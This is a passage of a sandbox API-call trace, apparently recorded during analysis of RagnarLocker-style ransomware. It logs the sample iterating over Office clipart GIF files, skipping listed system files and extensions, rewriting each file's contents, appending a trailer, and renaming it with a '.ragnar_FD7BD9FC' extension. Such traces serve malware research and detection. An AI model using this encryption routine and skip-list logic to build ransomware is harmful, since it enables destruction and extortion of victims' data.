nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.406] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.407] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x987, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.407] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.407] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.407] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.407] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.407] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.407] GetProcessHeap () returned 0x580000 [0093.407] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.407] CloseHandle (hObject=0x104) returned 1 [0093.407] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" [0093.407] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF.ragnar_FD7BD9FC" [0093.407] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.408] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x37d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02073_.GIF", cAlternateFileName="")) returned 1 [0093.408] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.408] lstrcpyW (in: lpString1=0x1eab70, lpString2="WB02073_.GIF" | out: lpString1="WB02073_.GIF") returned="WB02073_.GIF" [0093.408] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF") returned=".GIF" [0093.408] lstrcmpiW (lpString1="WB02073_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.408] lstrcmpiW (lpString1="WB02073_.GIF", lpString2="autorun.inf") returned 1 [0093.408] lstrcmpiW (lpString1="WB02073_.GIF", lpString2="boot.ini") returned 1 [0093.408] lstrcmpiW (lpString1="WB02073_.GIF", lpString2="bootfont.bin") returned 1 [0093.408] lstrcmpiW (lpString1="WB02073_.GIF", lpString2="bootsect.bak") returned 1 [0093.408] lstrcmpiW (lpString1="WB02073_.GIF", lpString2="bootmgr") returned 1 [0093.408] lstrcmpiW (lpString1="WB02073_.GIF", lpString2="bootmgr.efi") returned 1 [0093.408] lstrcmpiW (lpString1="WB02073_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.408] lstrcmpiW (lpString1="WB02073_.GIF", lpString2="desktop.ini") returned 1 [0093.408] lstrcmpiW (lpString1="WB02073_.GIF", lpString2="iconcache.db") returned 1 [0093.408] lstrcmpiW (lpString1="WB02073_.GIF", lpString2="ntldr") returned 1 [0093.408] lstrcmpiW (lpString1="WB02073_.GIF", lpString2="ntuser.dat") returned 1 [0093.408] lstrcmpiW (lpString1="WB02073_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.408] lstrcmpiW (lpString1="WB02073_.GIF", lpString2="ntuser.ini") returned 1 [0093.408] lstrcmpiW (lpString1="WB02073_.GIF", lpString2="thumbs.db") returned 1 [0093.408] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.408] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.409] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.409] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.409] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.409] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.409] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif")) returned 0x20 [0093.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.409] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=893) returned 1 [0093.409] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.409] GetProcessHeap () returned 0x580000 [0093.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.409] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.411] VirtualAlloc (lpAddress=0x0, dwSize=0x37d, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.411] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.411] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.411] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x37d, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x37d, lpOverlapped=0x0) returned 1 [0093.411] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.411] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x37d, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.411] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x37d, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x37d, lpOverlapped=0x0) returned 1 [0093.411] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x37d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.411] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.411] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x37d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.411] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.411] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.412] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.412] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.412] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.412] GetProcessHeap () returned 0x580000 [0093.412] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.412] CloseHandle (hObject=0x104) returned 1 [0093.412] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" [0093.412] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF.ragnar_FD7BD9FC" [0093.412] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.413] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x516, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02074_.GIF", cAlternateFileName="")) returned 1 [0093.413] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.413] lstrcpyW (in: lpString1=0x1eab70, lpString2="WB02074_.GIF" | out: lpString1="WB02074_.GIF") returned="WB02074_.GIF" [0093.413] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF") returned=".GIF" [0093.413] lstrcmpiW (lpString1="WB02074_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.413] lstrcmpiW (lpString1="WB02074_.GIF", lpString2="autorun.inf") returned 1 [0093.413] lstrcmpiW (lpString1="WB02074_.GIF", lpString2="boot.ini") returned 1 [0093.413] lstrcmpiW (lpString1="WB02074_.GIF", lpString2="bootfont.bin") returned 1 [0093.413] lstrcmpiW (lpString1="WB02074_.GIF", lpString2="bootsect.bak") returned 1 [0093.413] lstrcmpiW (lpString1="WB02074_.GIF", lpString2="bootmgr") returned 1 [0093.413] lstrcmpiW (lpString1="WB02074_.GIF", lpString2="bootmgr.efi") returned 1 [0093.413] lstrcmpiW (lpString1="WB02074_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.413] lstrcmpiW (lpString1="WB02074_.GIF", lpString2="desktop.ini") returned 1 [0093.413] lstrcmpiW (lpString1="WB02074_.GIF", lpString2="iconcache.db") returned 1 [0093.413] lstrcmpiW (lpString1="WB02074_.GIF", lpString2="ntldr") returned 1 [0093.413] lstrcmpiW (lpString1="WB02074_.GIF", lpString2="ntuser.dat") returned 1 [0093.413] lstrcmpiW (lpString1="WB02074_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.413] lstrcmpiW (lpString1="WB02074_.GIF", lpString2="ntuser.ini") returned 1 [0093.413] lstrcmpiW (lpString1="WB02074_.GIF", lpString2="thumbs.db") returned 1 [0093.413] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.413] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.413] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.413] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.413] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.413] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.413] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif")) returned 0x20 [0093.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.414] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1302) returned 1 [0093.414] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x50d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.414] GetProcessHeap () returned 0x580000 [0093.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.414] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.416] VirtualAlloc (lpAddress=0x0, dwSize=0x516, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.416] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.416] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.416] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x516, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x516, lpOverlapped=0x0) returned 1 [0093.416] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.416] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x516, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.416] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x516, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x516, lpOverlapped=0x0) returned 1 [0093.416] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x516, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.416] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.416] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x516, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.416] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.417] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.417] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.417] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.417] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.417] GetProcessHeap () returned 0x580000 [0093.417] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.417] CloseHandle (hObject=0x104) returned 1 [0093.417] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" [0093.417] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF.ragnar_FD7BD9FC" [0093.417] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.418] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02077_.GIF", cAlternateFileName="")) returned 1 [0093.418] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.418] lstrcpyW (in: lpString1=0x1eab70, lpString2="WB02077_.GIF" | out: lpString1="WB02077_.GIF") returned="WB02077_.GIF" [0093.418] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF") returned=".GIF" [0093.418] lstrcmpiW (lpString1="WB02077_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.418] lstrcmpiW (lpString1="WB02077_.GIF", lpString2="autorun.inf") returned 1 [0093.418] lstrcmpiW (lpString1="WB02077_.GIF", lpString2="boot.ini") returned 1 [0093.418] lstrcmpiW (lpString1="WB02077_.GIF", lpString2="bootfont.bin") returned 1 [0093.418] lstrcmpiW (lpString1="WB02077_.GIF", lpString2="bootsect.bak") returned 1 [0093.418] lstrcmpiW (lpString1="WB02077_.GIF", lpString2="bootmgr") returned 1 [0093.418] lstrcmpiW (lpString1="WB02077_.GIF", lpString2="bootmgr.efi") returned 1 [0093.418] lstrcmpiW (lpString1="WB02077_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.418] lstrcmpiW (lpString1="WB02077_.GIF", lpString2="desktop.ini") returned 1 [0093.418] lstrcmpiW (lpString1="WB02077_.GIF", lpString2="iconcache.db") returned 1 [0093.418] lstrcmpiW (lpString1="WB02077_.GIF", lpString2="ntldr") returned 1 [0093.418] lstrcmpiW (lpString1="WB02077_.GIF", lpString2="ntuser.dat") returned 1 [0093.418] lstrcmpiW (lpString1="WB02077_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.418] lstrcmpiW (lpString1="WB02077_.GIF", lpString2="ntuser.ini") returned 1 [0093.418] lstrcmpiW (lpString1="WB02077_.GIF", lpString2="thumbs.db") returned 1 [0093.418] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.418] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.418] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.418] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.418] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.418] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.418] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif")) returned 0x20 [0093.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.419] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=765) returned 1 [0093.419] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.419] GetProcessHeap () returned 0x580000 [0093.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.419] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.421] VirtualAlloc (lpAddress=0x0, dwSize=0x2fd, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.421] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.421] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.421] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2fd, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x2fd, lpOverlapped=0x0) returned 1 [0093.421] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.421] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2fd, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.421] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2fd, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x2fd, lpOverlapped=0x0) returned 1 [0093.421] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2fd, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.421] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.422] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.422] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.422] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, 